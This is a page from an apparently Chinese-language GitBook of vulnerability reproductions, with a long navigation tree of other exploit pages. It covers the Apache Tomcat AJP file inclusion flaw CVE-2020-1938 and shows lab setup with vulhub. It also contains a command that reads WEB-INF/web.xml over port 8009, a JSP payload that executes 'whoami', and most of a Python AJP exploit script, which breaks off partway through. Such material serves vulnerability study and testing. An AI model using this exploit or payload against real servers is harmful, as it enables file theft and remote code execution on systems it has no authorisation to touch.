💻
neutron
  • Web服务器漏洞
  • test
    • Web 服务器漏洞
      • Weblogic
        • WeblogicScanner 漏洞扫描
        • CVE-2018-2628
        • CVE-2017-3506
        • CVE-2017-3248
        • CVE-2016-0638
        • CVE-2015-4852 Commons Collections
        • Weblogic SSRF漏洞 CVE-2014-4210
        • Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271
        • Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109
        • Weblogic 反序列化远程代码执行漏洞 CVE-2019-2725
      • Nginx
        • Nginx越界读取缓存漏洞 CVE-2017-7529
      • Apache
        • Apache Struts2
          • About Apache Struts2
          • Struts2-Scan 漏洞验证
        • Apache Mod_jk
          • Apache Mod_jk 访问控制权限绕过 CVE-2018-11759
        • Apache Tomcat
          • Apache Tomcat 远程代码执行漏洞 CVE-2017-12615
          • Aapache Tomcat AJP 文件包含漏洞 CVE-2020-1938
          • Apache Tomcat WebSocket 拒绝服务漏洞 CVE-2020-13935
        • Apache Shiro
          • Apache Shiro <=1.2.4反序列化漏洞 CVE-2016-4437
        • Apache Cocoon
          • Apache Cocoon XML注入 CVE-2020-11991
        • Apache Flink
          • Apache Flink <= 1.9.1(最新版本) 远程代码执行 CVE-2020-17518
          • Apache Flink 目录遍历漏洞 CVE-2020-17519
        • Apache Kylin
          • Apache Kylin Console 控制台弱口令
          • Apache Kylin的未授权配置泄露 CVE-2020-13937
          • Apache Kylin 命令注入漏洞 CVE-2020-1956
          • Apache Kylin 命令注入漏洞 CVE-2020-13925
        • Apache Solr
          • Apache Solr RCE 远程执行漏洞 CVE-2017-12629
          • Apache Solr XXE 漏洞 CVE-2017-12629
          • Apache Solr 远程执行漏洞 CVE-2019-0193
          • Apache Solr Velocity模板远程执行 CVE-2019-17558
          • Apache Solr JMX服务 RCE CVE-2019-12409
          • Apache Solr RCE 未授权上传漏洞 CVE-2020-13957
          • Apache Solr 任意文件读取漏洞
        • Apache HTTPd
          • Apache HTTPd 换行解析漏洞 CVE-2017-15715
        • Apache ActiveMQ
          • Apache ActiveMQ Console 存在默认弱口令
          • Apache ActiveMQ 反序列化漏洞 CVE-2015-5254
        • Apache ZooKeeper
          • Apache ZooKeeper 未授权访问漏洞 CVE-2014-085
        • Apache Druid
          • Apache Druid 远程代码执行漏洞 CVE-2021-25646
        • Apache OFBiz
          • Apache OFBiz rmi反序列化漏洞 CVE-2021-26295
        • Apache Zeppelin
          • Apache Zeppelin 未授权任意命令执行漏洞
      • JBoss
        • JBoss 4.x JBossMQ JMS 反序列化漏洞 CVE-2017-7504
        • 扫描工具JexBoss - JBoss
    • 服务器应用漏洞
      • jenkins
        • CVE-2019-1003005 远程代码执行
        • CVE-2019-1003000 远程代码执行
        • CVE-2018-1000600 Jenkins GitHub 信息泄露
        • CVE-2018-1999002 任意文件读取
        • CVE-2018-1000861 远程命令执行
        • CVE-2018-1000110 用户枚举
        • CVE-2017-1000353 Jenkins-CI 远程代码执行
        • CVE-2016-9299 代码执行
        • CVE-2016-0792 低权限用户命令执行
        • CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞
        • CVE-2015-8103 反序列化远程代码执行
      • Redis
        • Redis <= 5.0.5 主从复制 RCE
      • OpenSSL
        • OpenSSL 心脏滴血漏洞 CVE-2014-0160
      • OpenSSH
        • OpenSSH 命令注入漏洞 CVE-2020-15778
      • Elasticsearch
        • Elasticsearch 未授权访问
      • Git
        • Git-LFS 远程命令执行漏洞 CVE-2020-27955
        • Git for Visual Studio远程执行代码漏洞 CVE-2021-21300
      • MicrosoftExchange
        • Microsoft Exchange SSRF漏洞 CVE-2021-26885
        • Microsoft Exchange 远程命令执行 CVE-2021-26855/26857/26858/27065
      • NVIDIA
        • NVIDIA GPU显示驱动程序 信息泄露 CVE-2021-1056
      • QEMU
        • (待定)QEMU 虚拟机逃逸漏洞 CVE-2020-14364
      • Chrome
        • Chrome 远程命令执行漏洞
      • Saltstack
        • Saltstack 远程命令执行漏洞 CVE-2020-11651/11652
        • SaltStack 未授权访问命令执行漏洞 CVE-2020-16846/25592
      • MinIO
        • MinIO SSRF漏洞 CVE-2021-21287
      • VMware
        • VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975
        • VMware vCenter任意文件读取漏洞
      • VoIPmonitor
        • VoIPmonitor 远程命令执行漏洞 CVE-2021-30461
    • Web应用漏洞
      • 金山
        • 金山 V8 终端安全系统 pdf_maker.php 命令执行漏洞
        • 金山 V8 终端安全系统 任意文件读取漏洞
        • 金山 V8 终端安全系统 默认弱口令漏洞
      • 虚拟仿真实验室
        • 阿尔法科技 虚拟仿真实验室 未授权访问漏洞
      • 和信创天云
        • 和信创天云桌面系统 远程命令执行 RCE漏洞
      • 浪潮
        • 远程命令执行漏洞
        • 任意用户登录漏洞
        • 远程命令执行漏洞 CVE-2020-21224
      • 宝塔运维管理面板
        • 宝塔 phpmyadmin未授权访问漏洞
      • 齐治堡垒机
        • 任意用户登录漏洞
      • 思福迪堡垒机
        • 任意⽤户登录漏洞
      • 安天
        • 越权访问漏洞
      • 亿邮
        • 远程命令执行漏洞
      • 天擎
        • 前台SQL注入
        • 数据库信息泄露漏洞
      • 安美数字
        • 酒店宽带运营系统 server_ping.php 远程命令执行漏洞
      • 星锐蓝海
        • 蓝海卓越计费管理系统 debug.php 远程命令执行漏洞
        • 蓝海卓越计费管理系统 download.php 任意文件读取漏洞
      • 墨安
        • 默安 幻阵蜜罐未授权访问 RCE
      • 银澎云计算
        • 银澎云计算 好视通视频会议系统 任意文件下载
      • 实践教学平台
        • 杭州法源软件 公证实务教学软件 SQL注入漏洞
        • 杭州法源软件 法律知识数据库系统 后台XSS漏洞
        • 杭州法源软件 法律知识数据库系统 SQL注入漏洞
      • 心理测量平台
        • 安徽阳光心健 心理测量平台 目录遍历漏洞 CNVD-2021-01929
      • 久其软件
        • 久其财务报表 download.jsp 任意文件读取漏洞
      • 图创软件
        • 图创软件 图书馆站群管理系统 任意文件读取漏洞
      • 中新金盾
        • 中新金盾信息安全管理系统 默认超级管理员密码漏洞
      • 智慧校园管理系统
        • 智慧校园管理系统 前台任意文件上传漏洞
      • 若依(RuoYi)管理系统
        • 未授权访问
        • 后台任意文件读取
      • 深信服
        • 深信服EDR远程命令执行 CNVD-2020-46552
        • 深信服 SSL VPN 客户端远程文件下载
        • 深信服 日志中心 c.php 远程命令执行漏洞
        • 深信服 行为感知系统 c.php 远程命令执行漏洞
        • 深信服后台任意用户登陆漏洞
      • 天融信
        • 天融信负载均衡TopApp-LB任意登陆
        • 天融信负载均衡TopApp-LB enable_tool_debug.php 远程命令执行漏洞
        • 天融信负载均衡TopApp-LB命令执行漏洞
        • 天融信负载均衡TopApp-LB Sql注入漏洞
        • 天融信LDP未授权访问漏洞
      • 中创视讯
        • 会捷通云视讯 list 目录文件泄露漏洞
        • 会捷通云视讯 fileDownload 任意文件读取漏洞
        • 会捷通云视讯 登录绕过漏洞
      • 亿赛通
        • 亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞
      • 极通EWEBS
        • (待定)极通EWEBS testweb.php 敏感信息泄露漏洞
        • 极通EWEBS casmain.xgi 任意文件读取漏洞
      • 汉王科技
        • 汉王人脸考勤管理系统 Check SQL注入漏洞
      • 1039家校通
        • 1039家校通 万能密码绕过 CNVD-2020-31494
        • 1039家校通 后台任意文件上传漏洞
      • TerraMaster
        • TerraMaster TOS RCE CVE-2020-28188
        • TerraMaster TOS 后台任意文件读取漏洞 CVE-2020-28187
        • TerraMaster TOS 任意账号密码修改漏洞 CVE-2020-28186
        • TerraMaster TOS 用户枚举漏洞 CVE-2020-28185
        • (待定)TerraMaster TOS exportUser.php 远程命令执行
      • Panabit
        • Panabit iXCache ajax_cmd 后台命令执行漏洞
        • Panabit Panalog cmdhandle.php 后台命令执行漏洞
        • Panabit 智能应用网关 ajax_top 后台命令执行漏洞
      • E-massage
        • E-message 越权访问漏洞
      • TamronOS
        • TamronOS IPTV系统 submit 任意用户创建漏洞
        • TamronOS IPTV系统 ping 任意命令执行漏洞
      • Node-RED
        • Node-RED ui_base 任意文件读取漏洞
      • JD-FreeFuck
        • JD-FreeFuck 后台命令执行漏洞
      • H3C
        • H3C SecParh堡垒机 get_detail_view.php 任意用户登录漏洞
        • H3C SecParh堡垒机 data_provider.php 远程命令执行漏洞
        • H3C IMC dynamiccontent.properties.xhtm 存在远程命令执行
      • MessageSolution
        • MessageSolution 邮件归档系统EEA 信息泄露漏洞 CNVD-2021-10543
      • Jupyter Notebook
        • Jupyter Notebook 未授权访问远程命令执行漏洞
      • iceWrap
        • IceWarp WebClient basic 远程命令执行漏洞
      • ICEFlow
        • ICEFlow VPN 信息泄露漏洞
      • Atlassian Jira
        • Atlassian Jira 信息泄露漏洞 CVE-2020-14181
      • Alibaba Nacos
        • Alibaba Nacos 控制台默认弱口令
        • Alibaba Nacos 未授权访问漏洞
      • Active UC
        • Active UC index.action 远程命令执行漏洞
      • Alibaba Canal
        • Alibaba Canal config 云密钥信息泄露漏洞
      • ShowDoc
        • ShowDoc 任意文件上传漏洞
      • Seo-Panel
        • Seo-Panel 4.8.0 反射型XSS漏洞 CVE-2021-3002
      • SonarQube
        • SonarQube api 信息泄露漏洞 CVE-2020-27986
      • IBOS
        • IBOS 数据库模块 任意文件上传漏洞
      • Nexus
        • Nexus Repository Manger extdirect 远程命令执行 CVE-2019-7238
        • Nexus Repository Manger group 后台远程命令执行 CVE-2020-10199
        • (待定)Nexus Repository Manger group 后台远程命令执行 CVE-2020-10204
        • Nexus Repository Manger change-password 低权限修改管理员密码漏洞 CVE-2020-11444
      • Hue
        • Hue 后台编辑器命令执行漏洞
      • Coremail
        • Coremail 配置信息泄露漏洞
      • Critix XenMobile
        • Citrix XenMobile 任意文件读取 CVE-2020-8209
      • Lanproxy
        • Lanproxy 目录遍历漏洞 CVE-2021-3019
      • JumpServer堡垒机
        • JumpServer 未授权接口 远程命令执行漏洞
      • F5 BIG-IP
        • F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986
        • F5 BIG-IP 远程代码执行漏洞 CVE-2020-5902
      • OneBlog
        • OneBlog 小于v2.2.1 远程命令执行漏洞
      • Jellyfin
        • Jellyfin 任意文件读取漏洞 CVE-2021-21402
      • GitLab
        • GitLab Graphql邮箱信息泄露漏洞 CVE-2020-26413
        • GitLab SSRF漏洞 CVE-2021-22214
      • XXL-JOB
        • XXL-JOB 任务调度中心 后台任意命令执行漏洞
        • XXL-JOB 任务调度中心 后台默认弱口令
    • 开发框架漏洞
      • fastjson
        • 1.2.24-RCE
        • 1.2.41-68 RCE
      • jQuery
        • jQuery XSS漏洞 CVE-2020-11022/11023
      • Hibernate
      • Liferay
        • Laravel <= 8.4.2 Debug模式 _ignition 远程代码执行漏洞 CVE-2021-3129
        • Laravel .env 配置文件泄露 CVE-2017-16894
      • Yii
      • Spring Boot
        • 0x02:spring cloud SnakeYAML RCE
        • 0x01:whitelabel error page SpEL RCE
      • Struts
      • Laravel
        • Laravel <= 8.4.2 Debug模式 _ignition 远程代码执行漏洞 CVE-2021-3129
        • Laravel .env 配置文件泄露 CVE-2017-16894
      • PHPUnit
        • PHPUnit eval-stdin.php 远程命令执行漏洞 CVE-2017-9841
      • Thinkphp
    • 开发语言漏洞
      • PHP zerodium后门漏洞
    • OA产品漏洞
      • 新点OA
        • 新点OA 敏感信息泄露漏洞
      • 启莱OA
        • 启莱OA messageurl.aspx SQL注入漏洞
        • 启莱OA treelist.aspx SQL注入漏洞
        • 启莱OA CloseMsg.aspx SQL注入漏洞
      • 蓝凌OA
        • 蓝凌OA EKP 后台SQL注入漏洞 CNVD-2021-01363
        • 蓝凌OA 任意文件写入漏洞
        • 蓝凌OA custom.jsp 任意文件读取漏洞
        • 蓝凌OA SSRF+JNDI远程命令执行
      • 金和OA
        • 金和OA C6 管理员默认口令
        • 金和OA C6 越权信息泄露漏洞
        • 金和OA C6 后台越权敏感文件遍历漏洞
        • 金和OA C6 download.jsp 任意文件读取漏洞
      • 泛微OA
        • 泛微云桥 e-Bridge 任意文件读取
        • 泛微OA Bsh 远程代码执行漏洞 CNVD-2019-32204
        • 泛微E-Cology WorkflowServiceXml RCE
        • 泛微OA WorkflowCenterTreeData接口SQL注入(仅限oracle数据库) CNVD-2019-34241
        • 泛微OA e-cology 数据库配置信息泄漏漏洞
        • 泛微OA sysinterface/codeEdit.jsp 页面任意文件上传 WooYun-2015-0155705
        • 泛微OA V9 任意文件上传
        • 泛微OA V8 SQL注入漏洞
      • 通达OA
        • 通达OA部分漏洞信息整合
        • 通达OA v11.2后台任意文件上传漏洞
        • 通达OA v11.x-v11.5任意用户登录
        • 通达OA v11.6 任意文件删除&RCE
        • 通达OA v11.7后台SQL注入
        • 通达OA v11.7 在线用户登录漏洞
        • 通达OA v11.8 后台文件包含存储型XSS漏洞
        • 通达OA v11.8 后台文件包含命令执行漏洞
        • 通达OA v11.9 后台SQL注入漏洞
      • 用友OA
        • 用友GRP-U8行政事业财务管理软件 SQL注入 CNNVD-201610-923
        • 用友 NC 反序列化RCE漏洞
        • 用友 NC XbrlPersistenceServlet反序列化
        • 用友 NC bsh.servlet.BshServlet 远程命令执行漏洞
        • 用友ERP-NC 目录遍历漏洞
        • 用友 U8 OA test.jsp SQL注入漏洞
        • 用友 NCCloud FS文件管理SQL注入
      • 致远OA
        • 致远OA A6 createMysql.jsp 数据库敏感信息泄露
        • 致远OA A6 DownExcelBeanServlet 用户敏感信息泄露
        • 致远OA A6 initDataAssess.jsp 用户敏感信息泄露
        • 致远OA A6 test.jsp SQL注入漏洞
        • 致远OA A6 setextno.jsp SQL注入漏洞
        • (待定)致远OA A8 状态监控页面信息泄露
        • 致远 OA A8 htmlofficeservlet RCE漏洞 CNVD-2019-19299
        • 致远OA getSessionList.jsp Session泄漏漏洞
        • 致远OA Session泄露 任意文件上传漏洞
        • 致远OA ajax.do登录绕过 任意文件上传 CNVD-2021-01627
        • 致远OA webmail.do任意文件下载 CNVD-2020-62422
      • 帆软OA
        • 帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757
        • 帆软 V9 任意文件覆盖文件上传
        • 帆软报表 2012 SSRF漏洞
        • 帆软报表 2012 信息泄露漏洞
      • 金蝶OA
        • 金蝶OA server_file 目录遍历漏洞
    • CMS漏洞
      • (待定)Drupal
      • Weiphp
        • Weiphp5.0 任意用户Cookie伪造 CNVD-2021-09693
        • Weiphp5.0 前台文件任意读取 CNVD-2020-68596
      • Discuz!X
        • Discuz!X <3.4 R20191201 后台SQL注入漏洞
      • ShopXO
        • ShopXO download 任意文件读取漏洞 CNVD-2021-15822
      • OpenSNS
        • OpenSNS shareBox 远程命令执行漏洞
      • Typesetter
        • Typesetter CMS 5-5.1 任意文件上传
      • YzmCMS
        • YzmCMS version < V5.8正式版 后台采集模块 SSRF漏洞
      • ezEIP
        • ezEIP 4.1.0 信息泄露漏洞
      • OKLite
        • OKLite 1.2.25 后台风格模块 任意文件删除 CVE-2019-16132
        • OKLite 1.2.25 后台插件安装 任意文件上传
        • OKLite 1.2.25 后台模块导入 任意文件上传 CVE-2019-16131
      • BSPHP
        • BSPHP 未授权访问 信息泄露漏洞
      • DocCMS
        • DocCMS keyword SQL注入漏洞
      • PbootCMS
        • PbootCMS ext_price SQL注入漏洞
        • PbootCMS search SQL注入漏洞
      • 发货100
        • 发货100 M_id SQL注入漏洞 CNVD-2021-30193
      • 极致CMS
        • 极致CMS 1.81以下版本 存储型XSS
        • 极致CMS_1.71_1.7_1.67版本sql注入(支付插件)
        • 极致CMS_全版本任意文件(后台)
      • 华宜互联CMS
        • 华宜互联CMS默认存在超级管理员漏洞
      • 禅道
        • 禅道 11.6版本 SQL注入漏洞
        • 禅道 11.6版本 任意文件读取漏洞
        • 禅道 11.6版本 任意文件读取漏洞
        • 禅道 小于12.4.2 文件上传漏洞 CNVD-C-2020-121325
        • 禅道 小于12.4.2 CSRF漏洞
      • 快排CMS
        • 快排CMS 信息泄露漏洞
        • 快排CMS 后台XSS漏洞
        • 快排CMS 任意文件上传漏洞
      • 狮子鱼CMS
        • 狮子鱼CMS wxapp.php 任意文件上传漏洞
        • 狮子鱼CMS image_upload.php 任意文件上传
        • 狮子鱼CMS ApigoodsController.class.php SQL注入漏洞
        • 狮子鱼CMS ApiController.class.php SQL注入漏洞
      • 原创先锋
        • 原创先锋 后台管理平台 未授权访问漏洞
    • 操作系统漏洞
      • Windows
      • Linux
        • Linux kernel权限提升漏洞 CVE-2021-3493
        • Linux sudo权限提升漏洞 CVE-2021-3156
    • 网络设备漏洞
      • 中国移动
        • 中国移动 禹路由 simple-index.asp 越权访问漏洞
        • 中国移动 禹路由 ExportSettings.sh 敏感信息泄露漏洞
      • 磊科
        • 磊科 NI360路由器 认证绕过漏洞
      • 碧海威
        • 碧海威 L7多款产品 后台命令执行漏洞
      • 宏电
        • 宏电 H8922 后台任意文件读取漏洞 CVE-2021-28152
        • 宏电 H8922 后台管理员信息泄露漏洞 CVE-2021-28151
        • 宏电 H8922 后台命令执行漏洞 CVE-2021-28150
        • 宏电 H8922 Telnet后门漏洞 CVE-2021-28149
      • 电信
        • 电信网关配置管理系统 SQL注入漏洞
        • 电信中兴ZXHN F450A网关 默认管理员账号密码漏洞
        • 电信天翼网关F460 web_shell_cmd.gch 远程命令执行漏洞
      • 锐捷
        • 锐捷ISG 账号密码泄露漏洞
        • 锐捷NBR 1300G路由器 越权CLI命令执行漏洞
        • 锐捷EG易网关 download.php 后台任意文件读取漏洞
        • (待定)锐捷EG易网关 branch_passw.php 远程命令执行漏洞
        • 锐捷EG易网关 管理员账号密码泄露漏洞
        • 锐捷EG易网关 cli.php 远程命令执行漏洞
        • 锐捷云课堂主机 目录遍历漏洞
        • 锐捷Smartweb管理系统 密码信息泄露漏洞
        • 锐捷Smartweb管理系统 默认开启Guest账户漏洞 CNVD-2020-56167
        • 锐捷SSL VPN 越权访问漏洞
        • 锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露 CNVD-2021-14536
        • 锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 CNVD-2021-09650
      • 迈普
        • 迈普 ISG1000安全网关 任意文件下载漏洞
      • 佑友
        • 佑友防火墙 后台命令执行漏洞
      • 华为
        • Huawei HG659 lib 任意文件读取漏洞
      • 启明星辰
        • 启明星辰 天清汉马USG防火墙 逻辑缺陷漏洞
        • 启明星辰 天清汉马USG防火墙 弱口令漏洞
      • 飞鱼星
        • 飞鱼星 企业级智能上网行为管理系统 权限绕过信息泄露漏洞
        • 飞鱼星 家用智能路由 cookie.cgi 权限绕过
      • 三星
        • 三星 WLAN AP WEA453e路由器 远程命令执行漏洞
      • 朗视
        • 朗视 TG400 GSM 网关目录遍历 CVE-2021-27328
      • 菲力尔
        • FLIR-AX8 download.php 任意文件下载
      • 中科网威
        • 中科网威 下一代防火墙控制系统 账号密码泄露漏洞
      • 蜂网互联
        • 蜂网互联 企业级路由器v4.31 密码泄露漏洞 CVE-2019-16313
      • TVT数码科技
        • TVT数码科技 NVMS-1000 路径遍历漏洞
      • Intelbras
        • Intelbras Wireless 未授权与密码泄露 CVE-2021-3017
      • DrayTek
        • DrayTek企业网络设备 远程命令执行 CVE-2020-8515
      • ACTI
        • ACTI 视频监控 任意文件读取漏洞
      • DVR
        • DVR 登录绕过漏洞 CVE-2018-9995
      • TP-Link
        • TP-Link SR20 远程命令执行
      • Kyan
        • Kyan 网络监控设备 run.php 远程命令执行漏洞
        • Kyan 网络监控设备 账号密码泄露漏洞
      • Cisco
        • Cisco HyperFlex HX upload 任意文件上传漏洞 CVE-2021-1499
        • Cisco HyperFlex HX storfs-asup 远程命令执行漏洞 CVE-2021-1497
        • CISCO ASA设备任意文件删除漏洞 CVE-2020-3187
        • (待定)CISCO ASA设备任意文件读取漏洞 CVE-2020-3452
      • Zyxel
        • Zyxel NBG2105 身份验证绕过 CVE-2021-3297
        • Zyxel 硬编码后门账户漏洞 CVE-2020-29583
      • SonicWall
        • SonicWall SSL-VPN 远程命令执行漏洞
      • KEDACOM
        • KEDACOM 数字系统接入网关 任意文件读取漏洞
      • H3C
        • (待定)H3C HG659 lib 任意文件读取
        • H3C SecPath 下一代防火墙 任意文件下载漏洞
      • rConfig
        • rConfig ajaxArchiveFiles.php 后台远程命令执行漏洞
        • rConfig userprocess.php 任意用户创建漏洞
        • (待定)rConfig ajaxEditTemplate.php 后台远程命令执行漏洞
        • rConfig useradmin.inc.php 信息泄露漏洞
      • D-Link
        • D-Link DSR-250N 万能密码漏洞
        • D-Link ShareCenter DNS-320 system_mgr.cgi 远程命令执行漏洞
        • D-Link DCS系列监控 账号密码信息泄露漏洞 CVE-2020-25078
        • D-Link AC管理系统默认账号密码
        • D-Link Dir-645 getcfg.php 账号密码泄露漏洞 CVE-2019-17506
        • D-Link DSL-28881A 信息泄露 CVE-2020-24577
        • D-Link DSL-28881A FTP配置错误 CVE-2020-24578
        • D-Link DSL-28881A 未授权访问 CVE-2020-24579
        • D-Link DSL-28881A 远程命令执行 CVE-2020-24581
      • HIKVISION
        • HIKVISION 流媒体管理服务器 后台任意文件读取漏洞 CNVD-2021-14544
        • HIKVISION 视频编码设备接入网关 任意文件下载
      • Sapido
        • Sapido多款路由器命令执行漏洞
      • iKuai
        • iKuai 流控路由 SQL注入漏洞
      • ZeroShell
        • ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725
      • JCG
        • JCG JHR-N835R 后台命令执行漏洞
      • DD-WRT
        • DD-WRT UPNP缓冲区溢出漏洞 CVE-2021-27137
      • MagicFlow
        • MagicFlow 防火墙网关 main.xp 任意文件读取漏洞
      • WayOS
        • Wayos 防火墙 后台命令执行漏洞
        • Wayos 防火墙 账号密码泄露漏洞
        • Wayos AC集中管理系统默认弱口令 CNVD-2021-00876
  • PHP代码审计
    • PHP函数缺陷和安全问题
    • 审计总结
    • PHP自动化代码审计技术
  • 内网渗透
    • 浅谈几个 Windows 错误配置利用的方法
    • dnscat2 使用
    • SSH 隧道使用学习
    • 两种突破内网中无法上传大文件的方法
    • 密码抓取
    • 域内主机端口探测总结
    • 域内主机存活探测总结
    • 破解与执行
    • 提权&获得令牌
    • 漏洞发现&组策略凭证
    • 内网穿透工具
    • 工具原理及使用
    • 基础概念及信息收集
  • Android
    • Untitled
    • Untitled
  • CS工具使用
    • Untitled
    • Untitled
    • Untitled
    • Untitled
    • Untitled
  • 提权
    • Linux提权
    • Windows提权
  • 信息收集
Powered by GitBook
On this page
  • 漏洞描述
  • 影响版本
  • 环境搭建
  • 漏洞复现
  • 漏洞利用POC
  • 参考文章

Was this helpful?

  1. test
  2. Web 服务器漏洞
  3. Apache
  4. Apache Tomcat

Aapache Tomcat AJP 文件包含漏洞 CVE-2020-1938

PreviousApache Tomcat 远程代码执行漏洞 CVE-2017-12615NextApache Tomcat WebSocket 拒绝服务漏洞 CVE-2020-13935

Last updated 3 years ago

Was this helpful?

漏洞描述

Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。

是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

影响版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

环境搭建

https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d

访问 正常即可

漏洞复现

目前有可靠的利用脚本

python CNVD-2020-10487-Tomcat-Aj
p-lfi.py -p 8009 -f /WEB-INF/web.xml xxx.xxx.xxx.xxx

脚本需要使用python2来运行,此漏洞用于上传路径可控,开放8009端口AJP协议情况下通过读取文件执行命令

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

漏洞利用POC

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)
def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1: # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1) # \0
    return res
class NotFoundException(Exception):
    pass
class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186
    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction
    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res
    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break
class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
        "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
        "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
        "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
    ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction
    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])
        return res

    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res
    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res
    def parse(self, raw_packet):
        stream = StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1) # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value
    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res

        r = AjpResponse.receive(stream)
